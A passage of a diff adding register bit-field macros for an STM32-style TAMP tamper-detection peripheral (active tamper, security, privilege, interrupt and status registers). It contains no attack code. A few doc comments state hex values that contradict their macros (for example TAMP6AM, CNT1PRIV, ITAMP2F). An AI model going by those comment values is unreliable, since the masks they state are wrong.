TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define 